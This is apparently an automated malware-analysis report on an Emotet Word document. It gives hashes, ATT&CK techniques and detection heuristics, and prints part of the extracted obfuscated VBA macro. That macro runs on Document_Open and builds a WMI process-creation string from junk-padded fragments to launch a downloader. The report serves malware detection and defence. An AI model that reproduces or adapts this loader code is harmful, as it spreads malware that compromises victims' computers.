Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 74a4e8c16577cc4e…

MALICIOUS

Office (OLE)

222.0 KB Created: 2020-08-25 17:00:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: af18cfc9cca5729cffdca320c18e862a SHA-1: d76613a4c9d5acfa0b0089cf1c4d18a60f790f91 SHA-256: 74a4e8c16577cc4eb803e7cf99d028907c3798ac8a71658bf702aea3d7684dea
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, specifically a Document_Open macro that utilizes a hidden UserForm to execute obfuscated code. This pattern is characteristic of Emotet, which often uses such techniques to download and execute additional malicious payloads. The ClamAV detection name further supports the Emotet family attribution.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14539 bytes
SHA-256: bc7e8a37756d6d6542fd10086d8833ef5466cab22926d1e8d3e51c9e1097b30d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Ymka707ievw"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Ofbszpwp168r.Uhxhcqh0_88et
End Sub


Attribute VB_Name = "Ofbszpwp168r"
Attribute VB_Base = "0{CE87AF87-BECE-4D80-8633-439D86B2DB09}{B6FFFC8B-E967-4F57-85B6-1A4039111297}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Uhxhcqh0_88et()
      On Error Resume Next
         vpwX8wxw5 = (9035 + 140 * (875 - Log(sQIkI55u7 + CBool(946) / 413 - CBool(bNpIN2n * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
         ZHWE2fRJt = loE / 9 - OFlW0a2K - CSng(3032) / (Zzl * Sgn(9307 / CBool(11867829)) - 2 - CInt(1 / 9321))
         ocj = 7947 - Atn(495) - 4305 - ogasZCD * (46307565 / Fix(PCYGK) / 1 * Oct(9209))
      ucaC1C1 = 6487 - CSng(59 - iWg - 720 + Sqr(WDUKs795)) - dzsEl01 + Oct(5163) * RGtA / CStr(115 / CInt(taQA9) * AyAzE977 - jeyLO)

Hefmoxai7tx = 100
      On Error Resume Next
         vpwX8wxw5 = (9035 + 140 * (875 - Log(sQIkI55u7 + CBool(946) / 413 - CBool(bNpIN2n * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
         ZHWE2fRJt = loE / 9 - OFlW0a2K - CSng(3032) / (Zzl * Sgn(9307 / CBool(11867829)) - 2 - CInt(1 / 9321))
         ocj = 7947 - Atn(495) - 4305 - ogasZCD * (46307565 / Fix(PCYGK) / 1 * Oct(9209))
      ucaC1C1 = 6487 - CSng(59 - iWg - 720 + Sqr(WDUKs795)) - dzsEl01 + Oct(5163) * RGtA / CStr(115 / CInt(taQA9) * AyAzE977 - jeyLO)

P0igypj00kb8g = ChrW(Hefmoxai7tx + (15))
      On Error Resume Next
         vpwX8wxw5 = (9035 + 140 * (875 - Log(sQIkI55u7 + CBool(946) / 413 - CBool(bNpIN2n * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
         ZHWE2fRJt = loE / 9 - OFlW0a2K - CSng(3032) / (Zzl * Sgn(9307 / CBool(11867829)) - 2 - CInt(1 / 9321))
         ocj = 7947 - Atn(495) - 4305 - ogasZCD * (46307565 / Fix(PCYGK) / 1 * Oct(9209))
      ucaC1C1 = 6487 - CSng(59 - iWg - 720 + Sqr(WDUKs795)) - dzsEl01 + Oct(5163) * RGtA / CStr(115 / CInt(taQA9) * AyAzE977 - jeyLO)

Qndiwjphrk8an6x = "23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[w23&bh s6[[hu12 712tdd]]s hj[i23&bh s6[[hu12 712tdd]]s hj[nm23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[gm23&bh s6[[hu12 712tdd]]s hj[t23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[" + P0igypj00kb8g + "23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[:23&bh s6[[hu12 712tdd]]s hj[w23&bh s6[[hu12 712tdd]]s hj[in23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[323&bh s6[[hu12 712tdd]]s hj[223&bh s6[[hu12 712tdd]]s hj[_23&bh s6[[hu12 712tdd]]s hj[" + Ofbszpwp168r.Zz9x2a3l503xed5og9 + "23&bh s6[[hu12 712tdd]]s hj[ro23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[ce23&bh s6[[hu12 712tdd]]s hj[s23&bh s6[[hu12 712tdd]]s hj[s23&bh s6[[hu12 712tdd]]s hj["
      On Error Resume Next
         vpwX8wxw5 = (9035 + 140 * (875 - Log(sQIkI55u7 + CBool(946) / 413 - CBool(bNpIN2n * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
         ZHWE2fRJt = loE / 9 - OFlW0a2K - CSng(3032) / (Zzl * Sgn(9307 / CBool(11867829)) - 2 - CInt(1 / 9321))
         ocj = 7947 - Atn(495) - 4305 - ogasZCD * (46307565 / Fix(PCYGK) / 1 * Oct(9209))
      ucaC1C1 = 6487 - CSng(59 - iWg - 720 + Sqr(WDUKs795)) - dzsEl01 + Oct(5163) * RGtA / CStr(115 / CInt(taQA9) * AyAzE977 - jeyLO)

Js1efo_a42s9xeh4ub = Gesf7joele_3pgco3(Qndiwjphrk8an6x)
      On Error Resume Next
         vpwX8wxw5 = (9035 + 140 * (875 - Log(sQIkI55u7 + CBool(946) / 413 - CBool(bNpIN2n * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
         ZHWE2fRJt = loE / 9 - OFlW0a2K - CSng(3032) / (Zzl * Sgn(9307 / CBool(11867829)) - 2 - CInt(1 / 9321))
         ocj = 7947 - Atn(495) - 4305 - ogasZCD * (46307565 / Fix(PCYGK) / 
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.